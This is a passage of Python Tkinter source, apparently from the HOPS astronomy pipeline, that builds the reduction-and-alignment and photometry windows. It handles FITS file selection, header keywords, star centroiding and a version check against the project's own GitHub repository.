window.winfo_screenheight() - window.winfo_reqheight()\n\n else:\n x = 0\n y = 0\n\n window.geometry('+%d+%d' % (int(x), int(y)))\n\n window.update_idletasks()\n\n window.lift()\n window.wm_attributes(\"-topmost\", 1)\n window.after_idle(window.attributes, '-topmost', 0)\n\n window.deiconify()\n\n\ndef reduction_alignment_window():\n\n # #########\n # create and initialise the window\n # #########\n\n root = Tk()\n initialise_window(root, 'Reduction & Alignment', [], [root], True)\n\n # get variables from log and set as tk variables those to be modified\n\n directory = StringVar(root, value=read_local_log_user('directory'))\n directory_short = StringVar(root, value=read_local_log_user('directory_short'))\n observation_files = StringVar(root, value=read_local_log_profile('observation_files'))\n bias_files = StringVar(root, value=read_local_log_profile('bias_files'))\n dark_files = StringVar(root, value=read_local_log_profile('dark_files'))\n flat_files = StringVar(root, value=read_local_log_profile('flat_files'))\n bin_fits = StringVar(root, value=read_local_log_profile('bin_fits'))\n exposure_time_key = StringVar(root, value=read_local_log_profile('exposure_time_key'))\n observation_date_key = StringVar(root, value=read_local_log_profile('observation_date_key'))\n observation_time_key = StringVar(root, value=read_local_log_profile('observation_time_key'))\n target_ra_dec = StringVar(root, value=read_log('photometry', 'target_ra_dec'))\n auto_target_ra_dec = StringVar(root, value=read_log('photometry', 'auto_target_ra_dec'))\n use_auto_target_ra_dec = BooleanVar(root, value=read_log('photometry', 'use_auto_target_ra_dec'))\n\n # set progress variables, useful for updating the window\n\n update_directory = BooleanVar(root, value=False)\n running = BooleanVar(root, value=False)\n\n # create widgets\n\n observing_planner_button = Button(root, text='OBSERVATION\\nPLANNER')\n my_profile_button = Button(root, text='MY PROFILE')\n\n directory_label = Label(root, text='Directory')\n directory_entry = Button(root, textvariable=directory_short)\n\n observation_files_label = Label(root, text='Name identifier for observation files')\n observation_files_entry = Entry(root, textvariable=observation_files)\n observation_files_test = Label(root, text=' ')\n\n bias_files_label = Label(root, text='Name identifier for bias files')\n bias_files_entry = Entry(root, textvariable=bias_files)\n bias_files_test = Label(root, text=' ')\n\n dark_files_label = Label(root, text='Name identifier for dark files')\n dark_files_entry = Entry(root, textvariable=dark_files)\n dark_files_test = Label(root, text=' ')\n\n flat_files_label = Label(root, text='Name identifier for flat files')\n flat_files_entry = Entry(root, textvariable=flat_files)\n flat_files_test = Label(root, text=' ')\n\n bin_fits_label = Label(root, text='Bin fits files (reduced only)')\n bin_fits_entry = Entry(root, textvariable=bin_fits, validate='key')\n bin_fits_entry['validatecommand'] = (bin_fits_entry.register(test_int_positive_non_zero_input), '%P', '%d')\n\n show_files_button = Button(root, text='Show files')\n\n exposure_time_key_label = Label(root, text='Exposure time header keyword')\n exposure_time_key_entry = Entry(root, textvariable=exposure_time_key)\n exposure_time_key_test = Label(root, text=' ')\n\n observation_date_key_label = Label(root, text='Observation date header keyword')\n observation_date_key_entry = Entry(root, textvariable=observation_date_key)\n observation_date_key_test = Label(root, text=' ')\n\n observation_time_key_label = Label(root, text='Observation time header keyword')\n observation_time_key_entry = Entry(root, textvariable=observation_time_key)\n observation_time_key_test = Label(root, text=' ')\n\n auto_target_ra_dec_label = Label(root, text='Detected target RA DEC')\n auto_target_ra_dec_entry = Label(root, text=auto_target_ra_dec.get())\n use_auto_target_ra_dec_entry = Checkbutton(root, text='Use detected values', variable=use_auto_target_ra_dec)\n\n target_ra_dec_label = Label(root, text='Manual target RA DEC\\n(hh:mm:ss +/-dd:mm:ss)')\n target_ra_dec_entry = Entry(root, textvariable=target_ra_dec)\n target_ra_dec_test = Label(root, text=' ')\n\n show_header_button = Button(root, text='Show header')\n\n run_reduction_alignment_button = Button(root, text='RUN REDUCTION & ALIGNMENT')\n\n # define additional windows\n\n show_content_window = AddOnWindow('Files list', 3, 3, 1)\n scrollbar = Scrollbar(show_content_window.root)\n scrollbar.pack(side=RIGHT, fill=Y)\n files_list = Listbox(show_content_window.root, yscrollcommand=scrollbar.set, font='Courier')\n files_list.pack(side=LEFT, fill=BOTH, expand=True)\n scrollbar.config(command=files_list.yview)\n\n show_header_window = AddOnWindow('Header keywords list', 3, 3, 7)\n scrollbar = Scrollbar(show_header_window.root)\n scrollbar.pack(side=RIGHT, fill=Y)\n header_list = Listbox(show_header_window.root, yscrollcommand=scrollbar.set, font='Courier')\n header_list.pack(side=LEFT, fill=BOTH, expand=True)\n scrollbar.config(command=header_list.yview)\n\n my_profile_window = AddOnWindow('My Profile', 2, 1.1, 1)\n\n core_headers = {ff.split(':')[0]: read_log_profile(ff.split(':')[0])\n for ff in open(log_profile_file, 'r').readlines()}\n\n local_headers = {ff.split(':')[0]: read_local_log_profile(ff.split(':')[0])\n for ff in open(local_log_profile_file, 'r').readlines()}\n\n variables = {}\n labels = {}\n entries = {}\n for row, header in enumerate(core_headers):\n if header in local_headers:\n variables[header] = StringVar(my_profile_window.root, value=local_headers[header])\n labels[header] = Label(my_profile_window.root, text=header)\n entries[header] = Entry(my_profile_window.root, textvariable=variables[header])\n else:\n variables[header] = StringVar(my_profile_window.root, value=core_headers[header])\n labels[header] = Label(my_profile_window.root, text=header)\n entries[header] = Entry(my_profile_window.root, textvariable=variables[header])\n\n def update_headers():\n for header2 in variables:\n local_headers[header2] = variables[header2].get()\n ww = open(local_log_profile_file, 'w')\n ww.write('\\n'.join(['{0}: {1}'.format(ff, local_headers[ff]) for ff in local_headers]))\n ww.write('\\n')\n ww.close()\n update_window(None)\n\n update_headers_button = Button(my_profile_window.root, text='UPDATE')\n update_headers_button['command'] = update_headers\n\n stucture = [[], [[update_headers_button, 2]], []]\n for header in list(core_headers.keys())[:int(len(list(core_headers.keys()))/2)+1]:\n stucture.append([[labels[header], 1], [entries[header], 2]])\n\n for jj, header in enumerate(list(core_headers.keys())[int(len(list(core_headers.keys()))/2)+1:]):\n stucture[3+jj].append([labels[header], 3])\n stucture[3+jj].append([entries[header], 4])\n\n setup_window(my_profile_window.root, stucture)\n\n # define the function that updates the window\n\n def update_window(*entry):\n\n if not entry:\n pass\n\n if running.get():\n\n directory_entry['state'] = DISABLED\n observation_files_entry['state'] = DISABLED\n bias_files_entry['state'] = DISABLED\n dark_files_entry['state'] = DISABLED\n flat_files_entry['state'] = DISABLED\n bin_fits_entry['state'] = DISABLED\n show_files_button['state'] = DISABLED\n exposure_time_key_entry['state'] = DISABLED\n observation_date_key_entry['state'] = DISABLED\n observation_time_key_entry['state'] = DISABLED\n target_ra_dec_entry['state'] = DISABLED\n use_auto_target_ra_dec_entry['state'] = DISABLED\n show_header_button['state'] = DISABLED\n run_reduction_alignment_button['state'] = DISABLED\n observing_planner_button['state'] = DISABLED\n my_profile_button['state'] = DISABLED\n\n elif not os.path.isdir(directory.get()):\n\n directory_entry['state'] = NORMAL\n observation_files_entry['state'] = DISABLED\n bias_files_entry['state'] = DISABLED\n dark_files_entry['state'] = DISABLED\n flat_files_entry['state'] = DISABLED\n bin_fits_entry['state'] = DISABLED\n show_files_button['state'] = DISABLED\n exposure_time_key_entry['state'] = DISABLED\n observation_date_key_entry['state'] = DISABLED\n observation_time_key_entry['state'] = DISABLED\n target_ra_dec_entry['state'] = DISABLED\n use_auto_target_ra_dec_entry['state'] = DISABLED\n show_header_button['state'] = DISABLED\n run_reduction_alignment_button['state'] = DISABLED\n observing_planner_button['state'] = NORMAL\n my_profile_button['state'] = NORMAL\n\n else:\n\n directory_entry['state'] = NORMAL\n\n if update_directory.get():\n\n os.chdir(directory.get())\n initiate_local_log_file()\n\n observation_files.set(read_local_log('pipeline', 'observation_files'))\n bias_files.set(read_local_log('reduction', 'bias_files'))\n dark_files.set(read_local_log('reduction', 'dark_files'))\n flat_files.set(read_local_log('reduction', 'flat_files'))\n bin_fits.set(read_local_log('reduction', 'bin_fits'))\n exposure_time_key.set(read_local_log('pipeline_keywords', 'exposure_time_key'))\n observation_date_key.set(read_local_log('pipeline_keywords', 'observation_date_key'))\n observation_time_key.set(read_local_log('pipeline_keywords', 'observation_time_key'))\n target_ra_dec.set(read_local_log('photometry', 'target_ra_dec'))\n auto_target_ra_dec.set(read_local_log('photometry', 'auto_target_ra_dec'))\n auto_target_ra_dec_entry.configure(text=auto_target_ra_dec.get())\n use_auto_target_ra_dec.set(read_local_log('photometry', 'use_auto_target_ra_dec'))\n\n observation_files_entry['state'] = NORMAL\n bias_files_entry['state'] = NORMAL\n dark_files_entry['state'] = NORMAL\n flat_files_entry['state'] = NORMAL\n bin_fits_entry['state'] = NORMAL\n show_files_button['state'] = NORMAL\n observing_planner_button['state'] = NORMAL\n my_profile_button['state'] = NORMAL\n\n files_list.delete(0, END)\n files_list.insert(END, ' List of files in your directory:')\n files_list.insert(END, ' ')\n\n xx = find_fits_files('*')\n\n for ii in xx:\n files_list.insert(END, ' {0}'.format(str(ii).split(os.sep)[-1]))\n\n check_science = test_file_number(observation_files_entry.get())\n observation_files_test.configure(text=check_science[1])\n\n check_bias = test_file_number(bias_files_entry.get())\n bias_files_test.configure(text=check_bias[1])\n\n check_dark = test_file_number(dark_files_entry.get())\n dark_files_test.configure(text=check_dark[1])\n\n check_flat = test_file_number(flat_files_entry.get())\n flat_files_test.configure(text=check_flat[1])\n\n if not check_science[0]:\n\n exposure_time_key_entry['state'] = DISABLED\n observation_date_key_entry['state'] = DISABLED\n observation_time_key_entry['state'] = DISABLED\n target_ra_dec_entry['state'] = DISABLED\n use_auto_target_ra_dec_entry['state'] = DISABLED\n show_header_button['state'] = DISABLED\n run_reduction_alignment_button['state'] = DISABLED\n\n else:\n\n target_ra_dec_entry['state'] = NORMAL\n use_auto_target_ra_dec_entry['state'] = NORMAL\n exposure_time_key_entry['state'] = NORMAL\n observation_date_key_entry['state'] = NORMAL\n observation_time_key_entry['state'] = NORMAL\n show_header_button['state'] = NORMAL\n\n fits = pf.open(find_fits_files(observation_files_entry.get())[0], memmap=False)\n\n try:\n fits = [fits['SCI']]\n except KeyError:\n sci_id = 0\n for sci_id in range(len(fits)):\n try:\n if (fits[sci_id].data).all():\n break\n except:\n pass\n fits = [fits[sci_id]]\n\n science_header = fits[0].header\n\n header_list.delete(0, END)\n header_list.insert(END, ' Keywords: Values:')\n header_list.insert(END, ' ')\n\n for ii in science_header:\n if ii != '':\n header_list.insert(END, ' {0}{1}{2}'.format(str(ii[:10]), ' ' * (15 - len(str(ii[:10]))),\n str(science_header[ii])))\n\n check_ra = [None, None]\n for key in read_local_log_profile('target_ra_key').split(','):\n check_ra = test_fits_keyword(observation_files_entry.get(), key)\n if check_ra[0]:\n break\n\n check_dec = [None, None]\n for key in read_local_log_profile('target_dec_key').split(','):\n check_dec = test_fits_keyword(observation_files_entry.get(), key)\n if check_dec[0]:\n break\n\n if check_ra[0] and check_dec[0]:\n auto_target_ra_dec_entry.configure(\n text='{0} {1}'.format(check_ra[2].replace(' ', ':'), check_dec[2].replace(' ', ':')))\n use_auto_target_ra_dec_entry['state'] = NORMAL\n else:\n auto_target_ra_dec_entry.configure(text='None detected')\n use_auto_target_ra_dec.set(0)\n use_auto_target_ra_dec_entry['state'] = DISABLED\n\n if use_auto_target_ra_dec.get():\n target_ra_dec.set('{0} {1}'.format(check_ra[2].replace(' ', ':'), check_dec[2].replace(' ', ':')))\n target_ra_dec_entry['state'] = DISABLED\n else:\n target_ra_dec_entry['state'] = NORMAL\n\n check_ra_dec = test_coordinates(target_ra_dec_entry.get())\n target_ra_dec_test.configure(text=check_ra_dec[1])\n\n check_exposure_time = test_fits_keyword(observation_files_entry.get(),\n exposure_time_key_entry.get())\n exposure_time_key_test.configure(text=check_exposure_time[1])\n\n check_observation_date = test_fits_keyword(observation_files_entry.get(),\n observation_date_key_entry.get())\n observation_date_key_test.configure(text=check_observation_date[1])\n\n if check_observation_date[0]:\n if len(check_observation_date[2].split('T')) == 2:\n observation_time_key.set(observation_date_key_entry.get())\n observation_time_key_entry['state'] = DISABLED\n\n check_observation_time = test_fits_keyword(observation_files_entry.get(),\n observation_time_key_entry.get())\n observation_time_key_test.configure(text=check_observation_time[1])\n\n if (check_ra_dec[0] and check_exposure_time[0] and\n check_observation_date[0] and check_observation_time[0]):\n\n run_reduction_alignment_button['state'] = NORMAL\n\n else:\n\n run_reduction_alignment_button['state'] = DISABLED\n\n update_directory = BooleanVar(root, value=True)\n update_window(None)\n update_directory = BooleanVar(root, value=False)\n\n # define actions for the different buttons, including calls to the function that updates the window\n\n def choose_directory():\n\n new_directory = tkFileDialog.askdirectory()\n\n if len(new_directory) > 0:\n directory.set(new_directory)\n directory_short.set('/'.join(new_directory.split('/')[-2:]))\n write_local_log_user('directory', directory.get())\n write_local_log_user('directory_short', directory_short.get())\n\n update_directory.set(True)\n update_window('a')\n update_directory.set(False)\n\n def run_reduction_alignment():\n\n running.set(True)\n update_window(None)\n\n write_local_log('pipeline', directory.get(), 'directory')\n write_local_log_user('directory', directory.get())\n write_local_log('pipeline', directory_short.get(), 'directory_short')\n write_local_log_user('directory_short', directory_short.get())\n write_local_log('pipeline', observation_files.get(), 'observation_files')\n write_local_log('reduction', bias_files.get(), 'bias_files')\n write_local_log('reduction', dark_files.get(), 'dark_files')\n write_local_log('reduction', flat_files.get(), 'flat_files')\n try:\n bins_test = int(bin_fits.get())\n except:\n bins_test = 1\n write_local_log('reduction', bins_test, 'bin_fits')\n write_local_log('photometry', target_ra_dec.get(), 'target_ra_dec')\n write_local_log('photometry', use_auto_target_ra_dec.get(), 'use_auto_target_ra_dec')\n write_local_log('pipeline_keywords', exposure_time_key.get(), 'exposure_time_key')\n write_local_log('pipeline_keywords', observation_date_key.get(), 'observation_date_key')\n write_local_log('pipeline_keywords', observation_time_key.get(), 'observation_time_key')\n\n rdr_reduction()\n\n if read_local_log('pipeline', 'reduction_complete'):\n alr_alignment()\n\n if read_local_log('pipeline', 'reduction_complete') and read_local_log('pipeline', 'alignment_complete'):\n root.destroy()\n show_content_window.close()\n show_header_window.close()\n my_profile_window.close()\n else:\n running.set(False)\n update_window(None)\n\n # connect actions to widgets\n\n observing_planner_button['command'] = run_observing_planner\n my_profile_button['command'] = my_profile_window.show\n directory_entry['command'] = choose_directory\n observation_files_entry.bind(sequence='', func=update_window)\n bias_files_entry.bind(sequence='', func=update_window)\n dark_files_entry.bind(sequence='', func=update_window)\n flat_files_entry.bind(sequence='', func=update_window)\n bin_fits_entry.bind(sequence='', func=update_window)\n show_files_button['command'] = show_content_window.show\n exposure_time_key_entry.bind(sequence='', func=update_window)\n observation_date_key_entry.bind(sequence='', func=update_window)\n observation_time_key_entry.bind(sequence='', func=update_window)\n use_auto_target_ra_dec_entry['command'] = update_window\n target_ra_dec_entry.bind(sequence='', func=update_window)\n show_header_button['command'] = show_header_window.show\n run_reduction_alignment_button['command'] = run_reduction_alignment\n\n Btn = Button(root, text=\"USER MANUAL\", command=openweb)\n\n # setup window\n\n photo = PhotoImage(file=holomon_logo)\n logo_label = Label(root, image=photo)\n window_label = Label(root, text='Reduction & Alignment')\n created_by_label = Label(root, text=read_log('windows', 'created_by').replace(',', '\\n'))\n\n setup_window(root, [\n [[logo_label, 0, 1, 8]],\n [],\n [[window_label, 1, 3, 1, 'title'], [my_profile_button, 3]],\n [],\n [[directory_label, 1], [directory_entry, 2]],\n [[observation_files_label, 1], [observation_files_entry, 2], [observation_files_test, 3]],\n [[bias_files_label, 1], [bias_files_entry, 2], [bias_files_test, 3]],\n [[dark_files_label, 1], [dark_files_entry, 2], [dark_files_test, 3]],\n [[created_by_label, 0, 1, 3], [flat_files_label, 1], [flat_files_entry, 2], [flat_files_test, 3]],\n [[bin_fits_label, 1], [bin_fits_entry, 2]],\n [[show_files_button, 2]],\n [[Btn, 0]],\n [[auto_target_ra_dec_label, 1], [auto_target_ra_dec_entry, 2], [use_auto_target_ra_dec_entry, 3]],\n [[observing_planner_button, 0], [target_ra_dec_label, 1], [target_ra_dec_entry, 2], [target_ra_dec_test, 3]],\n [[exposure_time_key_label, 1], [exposure_time_key_entry, 2], [exposure_time_key_test, 3]],\n [[observation_date_key_label, 1], [observation_date_key_entry, 2], [observation_date_key_test, 3]],\n [[observation_time_key_label, 1], [observation_time_key_entry, 2], [observation_time_key_test, 3]],\n [[show_header_button, 2]],\n [],\n [[run_reduction_alignment_button, 1, 3]],\n [],\n ])\n\n # finalise and show window\n\n finalise_window(root, position=5)\n try:\n location = os.path.abspath(os.path.dirname(__file__))\n\n current_version = '0.0.0'\n for i in open(os.path.join(location, '__init__.py')):\n if len(i.split('__version__')) > 1:\n current_version = i.split()[-1][1:-1]\n\n c1 = int(current_version.split('.')[0]) * 100 * 100 * 100\n c2 = int(current_version.split('.')[1]) * 100 * 100\n c3 = int(current_version.split('.')[2]) * 100\n\n version = '0.0.0'\n message = ''\n for i in urlopen('https://raw.githubusercontent.com/ExoWorldsSpies/hops/master/hops/__init__.py').readlines():\n if len(str(i).split('__version__')) > 1:\n version = str(i).split()[-1][1:-4]\n if len(str(i).split('__message__')) > 1:\n message = str(i).split('__message__ = ')[-1][1:-4]\n\n v1 = int(version.split('.')[0]) * 100 * 100 * 100\n v2 = int(version.split('.')[1]) * 100 * 100\n v3 = int(version.split('.')[2]) * 100\n\n if v1 + v2 + v3 > c1 + c2 + c3:\n showinfo('Update available', 'There is a newer version ({0}) of the code available!\\n\\n{1}\\n\\nDownload and install it from:'\n '\\nhttps://github.com/ExoWorldsSpies/hops/archive/master.zip'.format(version, message))\n except:\n pass\n show_content_window.mainloop()\n show_header_window.mainloop()\n my_profile_window.mainloop()\n root.mainloop()\n\n\ndef photometry_window():\n\n # #########\n # create and initialise window\n # #########\n\n root = Tk()\n initialise_window(root, 'Photometry', [], [root], True)\n\n reduction_directory = read_local_log('pipeline', 'reduction_directory')\n light_curve_aperture_file = read_local_log('pipeline', 'light_curve_aperture_file')\n photometry_directory = read_local_log('pipeline', 'photometry_directory')\n fov_figure = read_local_log('pipeline', 'fov_figure')\n mean_key = read_local_log('pipeline_keywords', 'mean_key')\n std_key = read_local_log('pipeline_keywords', 'std_key')\n align_x0_key = read_local_log('pipeline_keywords', 'align_x0_key')\n align_y0_key = read_local_log('pipeline_keywords', 'align_y0_key')\n frame_low_std = read_local_log('windows', 'frame_low_std')\n frame_upper_std = read_local_log('windows', 'frame_upper_std')\n bin_fits = int(read_local_log('reduction', 'bin_fits'))\n burn_limit = int(read_local_log('alignment', 'burn_limit')) * bin_fits * bin_fits\n star_std = read_local_log('alignment', 'star_std')\n search_window_std = read_local_log('alignment', 'search_window_std')\n max_comparisons = read_local_log('photometry', 'max_comparisons')\n max_targets = max_comparisons + 1\n\n targets_x_position = [DoubleVar(root, value=read_local_log('photometry', 'target_x_position'))]\n for comparison in range(max_comparisons):\n targets_x_position.append(\n DoubleVar(root, value=read_local_log('photometry', 'comparison_{0}_x_position'.format(comparison + 1))))\n if not targets_x_position[-1].get():\n targets_x_position[-1].set(0)\n\n targets_y_position = [DoubleVar(root, value=read_local_log('photometry', 'target_y_position'))]\n for comparison in range(max_comparisons):\n targets_y_position.append(\n DoubleVar(root, value=read_local_log('photometry', 'comparison_{0}_y_position'.format(comparison + 1))))\n if not targets_y_position[-1].get():\n targets_y_position[-1].set(0)\n\n targets_aperture = [IntVar(root, value=read_local_log('photometry', 'target_aperture'))]\n for comparison in range(max_comparisons):\n targets_aperture.append(\n IntVar(root, value=read_local_log('photometry', 'comparison_{0}_aperture'.format(comparison + 1))))\n if not targets_aperture[-1].get():\n targets_aperture[-1].set(0)\n\n # set progress variables, useful for updating the tk windows\n\n targets_indication = IntVar(root, value=0)\n click_test_x = DoubleVar(root, value=-100)\n click_test_y = DoubleVar(root, value=-100)\n click_off_axis = BooleanVar(root, value=False)\n running = BooleanVar(root, value=False)\n\n # create widgets\n\n position_label = Label(root, text=' Position ')\n\n box_semi_length_label = Label(root, text='Box semi-length')\n\n targets_indication_entry = [Radiobutton(root, text=' Target ', variable=targets_indication, value=0)]\n for comparison in range(max_comparisons):\n targets_indication_entry.append(Radiobutton(root, text='Comparison {0} '.format(comparison + 1),\n variable=targets_indication, value=comparison + 1))\n\n targets_x_position_label = [Label(root, textvar=targets_x_position[0])]\n for comparison in range(max_comparisons):\n targets_x_position_label.append(Label(root, textvar=targets_x_position[comparison + 1]))\n\n targets_y_position_label = [Label(root, textvar=targets_y_position[0])]\n for comparison in range(max_comparisons):\n targets_y_position_label.append(Label(root, textvar=targets_y_position[comparison + 1]))\n\n targets_aperture_entry = [Entry(root, textvar=targets_aperture[0], validate='key')]\n for comparison in range(max_comparisons):\n targets_aperture_entry.append(Entry(root, textvar=targets_aperture[comparison + 1], validate='key'))\n\n for target in range(max_targets):\n targets_aperture_entry[target]['validatecommand'] = \\\n (targets_aperture_entry[target].register(test_int_positive_non_zero_input), '%P', '%d')\n\n show_fov_button = Button(root, text='Show FOV')\n\n flip_fov_button = Button(root, text='Flip FOV')\n\n mirror_fov_button = Button(root, text='Mirror FOV')\n\n photometry_button = Button(root, text='RUN PHOTOMETRY')\n\n proceed_to_fitting_button = Button(root, text='PROCEED TO FITTING')\n\n # define additional windows\n\n show_fov_window = AddOnWindow('FOV', None, None, 1)\n test = find_fits_files(os.path.join(reduction_directory, '*'))\n\n fits = pf.open(test[0], memmap=False)\n f = Figure()\n f.patch.set_facecolor('white')\n ax = f.add_subplot(111)\n canvas = FigureCanvasTkAgg(f, show_fov_window.root)\n canvas.get_tk_widget().pack()\n NavigationToolbar2TkAgg(canvas, show_fov_window.root)\n\n ax.imshow(fits[1].data, origin='lower', cmap=cm.Greys_r,\n vmin=fits[1].header[mean_key] + frame_low_std * fits[1].header[std_key],\n vmax=fits[1].header[mean_key] + frame_upper_std * fits[1].header[std_key])\n\n targets_box = [mpatches.Rectangle((targets_x_position[0].get() - targets_aperture[0].get(),\n targets_y_position[0].get() - targets_aperture[0].get()),\n 2 * targets_aperture[0].get() + 1, 2 * targets_aperture[0].get() + 1,\n ec='r', fill=False)]\n for comparison in range(max_comparisons):\n targets_box.append(mpatches.Rectangle((targets_x_position[comparison + 1].get() -\n targets_aperture[comparison + 1].get(),\n targets_y_position[comparison + 1].get() -\n targets_aperture[comparison + 1].get()),\n 2 * targets_aperture[comparison + 1].get() + 1,\n 2 * targets_aperture[comparison + 1].get() + 1,\n ec='#07fefc', fill=False))\n\n for target in range(max_targets):\n ax.add_patch(targets_box[target])\n\n targets_text = [ax.text(targets_x_position[0].get(),\n targets_y_position[0].get() - targets_aperture[0].get() - 1, 'T',\n color='r', fontsize=20, va='top')]\n\n for comparison in range(max_comparisons):\n targets_text.append(ax.text(targets_x_position[comparison + 1].get()\n + targets_aperture[comparison + 1].get() + 1,\n targets_y_position[comparison + 1].get()\n - targets_aperture[comparison + 1].get() - 1,\n 'C{0}'.format(comparison + 1), color='#07fefc', fontsize=20, va='top'))\n\n # define the function that updates the window\n\n def update_window(event):\n\n if running.get():\n\n for i_target in range(max_targets):\n targets_indication_entry[i_target]['state'] = DISABLED\n targets_aperture_entry[i_target]['state'] = DISABLED\n\n show_fov_button['state'] = DISABLED\n flip_fov_button['state'] = DISABLED\n mirror_fov_button['state'] = DISABLED\n photometry_button['state'] = DISABLED\n proceed_to_fitting_button['state'] = DISABLED\n\n else:\n\n show_fov_button['state'] = NORMAL\n flip_fov_button['state'] = NORMAL\n mirror_fov_button['state'] = NORMAL\n\n for i_target in range(max_targets):\n targets_indication_entry[i_target]['state'] = NORMAL\n\n try:\n if event.inaxes is not None:\n\n click_off_axis.set(False)\n\n if (event.xdata, event.ydata) == (click_test_x.get(), click_test_y.get()):\n\n frame_limit = 2 * search_window_std * star_std\n centroids = find_centroids(fits[1].data,\n x_low=int(event.xdata - frame_limit),\n x_upper=int(event.xdata + frame_limit),\n y_low=int(event.ydata - frame_limit),\n y_upper=int(event.ydata + frame_limit),\n x_centre=int(event.xdata), y_centre=int(event.ydata),\n mean=fits[1].header[mean_key], std=fits[1].header[std_key],\n std_limit=3.0, burn_limit=burn_limit, star_std=star_std)\n\n if centroids.size > 0:\n\n norm, floor, x_mean, y_mean, x_sigma, y_sigma = \\\n fit_2d_gauss(fits[1].data,\n predicted_x_mean=centroids[0][1], predicted_y_mean=centroids[0][2],\n search_window=search_window_std * star_std)\n\n if np.sqrt((x_mean - event.xdata) ** 2 + (y_mean - event.ydata) ** 2) < 3 * x_sigma:\n\n targets_x_position[targets_indication.get()].set(round(x_mean, 1))\n targets_y_position[targets_indication.get()].set(round(y_mean, 1))\n targets_aperture[targets_indication.get()].set(abs(int(4 * x_sigma)))\n\n click_test_x.set(-100)\n click_test_y.set(-100)\n\n else:\n click_test_x.set(event.xdata)\n click_test_y.set(event.ydata)\n\n else:\n\n click_test_x.set(-100)\n click_test_y.set(-100)\n\n if click_off_axis.get():\n\n targets_x_position[targets_indication.get()].set(0)\n targets_y_position[targets_indication.get()].set(0)\n targets_aperture[targets_indication.get()].set(0)\n\n click_off_axis.set(False)\n\n else:\n click_off_axis.set(True)\n\n except AttributeError:\n pass\n\n try:\n\n for i_target in range(max_targets):\n\n if 0 in [targets_x_position[i_target].get(), targets_y_position[i_target].get()]:\n\n targets_box[i_target].set_xy((-10000, -10000))\n\n targets_text[i_target].set_x(-10000)\n targets_text[i_target].set_y(-10000)\n\n targets_aperture_entry[i_target]['state'] = DISABLED\n\n else:\n\n targets_box[i_target].set_xy((targets_x_position[i_target].get() -\n targets_aperture[i_target].get(),\n targets_y_position[i_target].get() -\n targets_aperture[i_target].get()))\n\n targets_box[i_target].set_width(2 * targets_aperture[i_target].get() + 1)\n targets_box[i_target].set_height(2 * targets_aperture[i_target].get() + 1)\n\n targets_text[i_target].set_x(targets_x_position[i_target].get() +\n targets_aperture[i_target].get() + 1)\n targets_text[i_target].set_y(targets_y_position[i_target].get() -\n targets_aperture[i_target].get() - 1)\n\n targets_aperture_entry[i_target]['state'] = NORMAL\n\n except ValueError:\n photometry_button['state'] = DISABLED\n\n if 0 in [targets_x_position[0].get(), targets_y_position[0].get(),\n targets_x_position[1].get(), targets_y_position[1].get()]:\n photometry_button['state'] = DISABLED\n\n else:\n photometry_button['state'] = NORMAL\n\n if (read_local_log('pipeline', 'photometry_complete')\n and len(glob.glob(os.path.join('{0}*'.format(photometry_directory), light_curve_aperture_file))) > 0):\n proceed_to_fitting_button['state'] = NORMAL\n\n else:\n proceed_to_fitting_button['state'] = DISABLED\n\n canvas.draw()\n\n update_window(None)\n\n # define actions for the different buttons, including calls to the function that updates the window\n\n def photometry():\n\n running.set(True)\n update_window(None)\n\n write_local_log('photometry', targets_x_position[0].get(), 'target_x_position')\n write_local_log('photometry', targets_y_position[0].get(), 'target_y_position')\n write_local_log('photometry', targets_aperture[0].get(), 'target_aperture')\n target_polar = cartesian_to_polar(targets_x_position[0].get(), targets_y_position[0].get(),\n fits[1].header[align_x0_key], fits[1].header[align_y0_key])\n write_local_log('photometry', float(target_polar[0]), 'target_r_position')\n write_local_log('photometry', float(target_polar[1]), 'target_u_position')\n\n for i_comparison in range(max_comparisons):\n write_local_log('photometry', int(targets_x_position[i_comparison + 1].get()),\n 'comparison_{0}_x_position'.format(i_comparison + 1))\n write_local_log('photometry', int(targets_y_position[i_comparison + 1].get()),\n 'comparison_{0}_y_position'.format(i_comparison + 1))\n write_local_log('photometry', targets_aperture[i_comparison + 1].get(),\n 'comparison_{0}_aperture'.format(i_comparison + 1))\n\n if 0 not in [targets_x_position[i_comparison + 1].get(), targets_y_position[i_comparison + 1].get()]:\n\n target_polar = cartesian_to_polar(targets_x_position[i_comparison + 1].get(),\n targets_y_position[i_comparison + 1].get(),\n fits[1].header[align_x0_key], fits[1].header[align_y0_key])\n\n else:\n\n target_polar = [0, 0]\n\n write_local_log('photometry', float(target_polar[0]), 'comparison_{0}_r_position'.format(i_comparison + 1))\n write_local_log('photometry', float(target_polar[1]), 'comparison_{0}_u_position'.format(i_comparison + 1))\n\n f.savefig(fov_figure, dpi=200)\n phr_photometry()\n\n running.set(False)\n update_window(None)\n\n def flip_fov():\n ax.set_ylim(ax.get_ylim()[1], ax.get_ylim()[0])\n canvas.draw()\n\n def mirror_fov():\n ax.set_xlim(ax.get_xlim()[1], ax.get_xlim()[0])\n canvas.draw()\n\n def proceed_to_fitting():\n show_fov_window.close()\n root.destroy()\n\n # connect actions to widgets\n\n f.canvas.callbacks.connect('button_press_event', update_window)\n show_fov_button['command'] = show_fov_window.show\n flip_fov_button['command'] = flip_fov\n mirror_fov_button['command'] = mirror_fov\n photometry_button['command'] = photometry\n proceed_to_fitting_button['command'] = proceed_to_fitting\n\n for target in range(max_targets):\n targets_aperture_entry[target].bind(sequence='', func=update_window)\n\n # setup window\n\n Btn = Button(root, text=\"USER MANUAL\", command=openweb)\n\n photo = PhotoImage(file=holomon_logo)\n logo_label = Label(root, image=photo)\n window_label = Label(root, text='Photometry')\n created_by_label = Label(root, text=read_log('windows', 'created_by').replace(',', '\\n'))\n\n setup_list = [\n [],\n [[logo_label, 0, 1, 6], [window_label, 1, 4, 1, 'title']],\n [],\n [[position_label, 2, 2], [box_semi_length_label, 4]],\n ]\n\n for target in range(max_targets):\n\n if target == 3:\n setup_list.append([[created_by_label, 0, 1, 3],\n [targets_indication_entry[target], 1], [targets_x_position_label[target], 2],\n [targets_y_position_label[target], 3], [targets_aperture_entry[target], 4]])\n elif target == 5:\n setup_list.append([[Btn, 0, 1, 3],\n [targets_indication_entry[target], 1], [targets_x_position_label[target], 2],\n [targets_y_position_label[target], 3], [targets_aperture_entry[target], 4]])\n else:\n setup_list.append([[targets_indication_entry[target], 1], [targets_x_position_label[target], 2],\n [targets_y_position_label[target], 3], [targets_aperture_entry[target], 4]])\n\n setup_list.append([[show_fov_button, 4]])\n setup_list.append([[flip_fov_button, 4]])\n setup_list.append([[mirror_fov_button, 4]])\n setup_list.append([])\n setup_list.append([[photometry_button, 1, 4]])\n 